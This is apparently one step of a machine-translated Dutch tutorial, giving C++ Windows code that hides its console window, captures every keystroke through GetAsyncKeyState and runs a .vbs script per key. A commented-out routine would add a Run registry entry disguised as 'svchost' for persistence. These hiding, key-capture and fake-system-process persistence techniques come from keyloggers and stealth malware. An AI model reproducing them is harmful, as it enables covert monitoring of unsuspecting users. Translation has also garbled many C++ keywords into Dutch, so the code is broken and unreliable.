Stap 4: De c ++ code
Jezelf voor te bereiden...
#include < iostream >
#include < windows.h >
#include < stdio.h >
#include < winuser.h >
#define BUFSIZE 80
met behulp van namespace std;
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth;
AllocConsole();
Stealth=FindWindowA("ConsoleWindowClass",null);
ShowWindow(stealth,0);
int testen, maakt;
test=test_key();
/ * Als (test == 2)
{
char * path="c:\\%windir%\\svchost.exe";
Create=create_key(Path);
}
*/
int t=get_keys();
retourneren van t;
}
int get_keys(void)
{
korte karakter;
while(1)
{
voor (teken = 8; karakter < = 222; karakter ++)
{
if(GetAsyncKeyState(Character)==-32767)
{
if(1==1)
{
Als ((character>64) & &(character<91))
{
teken += 32;
}
switch(Character)
{
Case 97:
ShellExecute (NULL, NULL, "A.vbs", NULL, NULL, SW_SHOW);
breken;
zaak 98:
ShellExecute (NULL, NULL, "B.vbs", NULL, NULL, SW_SHOW);
breken;
Case 99:
ShellExecute (NULL, NULL, "C.vbs", NULL, NULL, SW_SHOW);
breken;
Case 100:
ShellExecute (NULL, NULL, "D.vbs", NULL, NULL, SW_SHOW);
breken;
Case 101:
ShellExecute (NULL, NULL, "E.vbs", NULL, NULL, SW_SHOW);
breken;
Case 102:
ShellExecute (NULL, NULL, "F.vbs", NULL, NULL, SW_SHOW);
breken;
Case 103:
ShellExecute (NULL, NULL, "G.vbs", NULL, NULL, SW_SHOW);
breken;
Case 104:
ShellExecute (NULL, NULL, "H.vbs", NULL, NULL, SW_SHOW);
breken;
Case 105:
ShellExecute (NULL, NULL, "I.vbs", NULL, NULL, SW_SHOW);
breken;
Case 106:
ShellExecute (NULL, NULL, "J.vbs", NULL, NULL, SW_SHOW);
breken;
Case 107:
ShellExecute (NULL, NULL, "K.vbs", NULL, NULL, SW_SHOW);
breken;
Case 108:
ShellExecute (NULL, NULL, "L.vbs", NULL, NULL, SW_SHOW);
breken;
Case 109:
ShellExecute (NULL, NULL, "M.vbs", NULL, NULL, SW_SHOW);
breken;
Case 110:
ShellExecute (NULL, NULL, "N.vbs", NULL, NULL, SW_SHOW);
breken;
Case 111:
ShellExecute (NULL, NULL, "O.vbs", NULL, NULL, SW_SHOW);
breken;
Case 112:
ShellExecute (NULL, NULL, "P.vbs", NULL, NULL, SW_SHOW);
breken;
Case 113:
ShellExecute (NULL, NULL, "Q.vbs", NULL, NULL, SW_SHOW);
breken;
Case 114:
ShellExecute (NULL, NULL, "R.vbs", NULL, NULL, SW_SHOW);
breken;
Case 115:
ShellExecute (NULL, NULL, "S.vbs", NULL, NULL, SW_SHOW);
breken;
Case 116:
ShellExecute (NULL, NULL, "T.vbs", NULL, NULL, SW_SHOW);
breken;
Case 117:
ShellExecute (NULL, NULL, "U.vbs", NULL, NULL, SW_SHOW);
breken;
Case 118:
ShellExecute (NULL, NULL, "V.vbs", NULL, NULL, SW_SHOW);
breken;
Case 119:
ShellExecute (NULL, NULL, "W.vbs", NULL, NULL, SW_SHOW);
breken;
Case 120:
ShellExecute (NULL, NULL, "X.vbs", NULL, NULL, SW_SHOW);
breken;
Case 121:
ShellExecute (NULL, NULL, "Y.vbs", NULL, NULL, SW_SHOW);
breken;
Case 122:
ShellExecute (NULL, NULL, "Z.vbs", NULL, NULL, SW_SHOW);
breken;
Case 48:
ShellExecute (NULL, NULL, "0.vbs", NULL, NULL, SW_SHOW);
breken;
Case 49:
ShellExecute (NULL, NULL, "1.vbs", NULL, NULL, SW_SHOW);
breken;
Case 50:
ShellExecute (NULL, NULL, "2.vbs", NULL, NULL, SW_SHOW);
breken;
Case 51:
ShellExecute (NULL, NULL, "3.vbs", NULL, NULL, SW_SHOW);
breken;
Case 52:
ShellExecute (NULL, NULL, "4.vbs", NULL, NULL, SW_SHOW);
breken;
Case 53:
ShellExecute (NULL, NULL, "5.vbs", NULL, NULL, SW_SHOW);
breken;
Case 54:
ShellExecute (NULL, NULL, "6.vbs", NULL, NULL, SW_SHOW);
breken;
Case 55:
ShellExecute (NULL, NULL, "7.vbs", NULL, NULL, SW_SHOW);
breken;
Case 56:
ShellExecute (NULL, NULL, "8.vbs", NULL, NULL, SW_SHOW);
breken;
Case 57:
ShellExecute (NULL, NULL, "9.vbs", NULL, NULL, SW_SHOW);
breken;
Case VK_SPACE:
ShellExecute (NULL, NULL, "SPACE.vbs", NULL, NULL, SW_SHOW);
breken;
standaard:
breken;
}
}
}
}
}
Return EXIT_SUCCESS;
}
int test_key(void)
{
int de controle;
HKEY hKey;
char pad [BUFSIZE];
DWORD-buf_length = BUFSIZE;
int reg_key;
reg_key = RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE, & hKey);
if(reg_key!=0)
{
Controleer = 1;
terug controle;
}
reg_key = RegQueryValueEx (hKey, "svchost", NULL, NULL, (LPBYTE) pad, & buf_length);
Als ((reg_key! = 0) || (buf_length>BUFSIZE))
Controleer = 2;
if(reg_key==0)
Controleer = 0;
RegCloseKey(hKey);
terug controle;
}
int create_key(char *path)
{
int reg_key, controle;
HKEY hkey;
reg_key = RegCreateKey (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", & hkey);
if(reg_key==0)
{
RegSetValueEx ((HKEY) hkey, "svchost", 0, REG_SZ,(BYTE *) path,strlen(path));
Controleer = 0;
terug controle;
}
if(reg_key!=0)
Controleer = 1;
terug controle;
}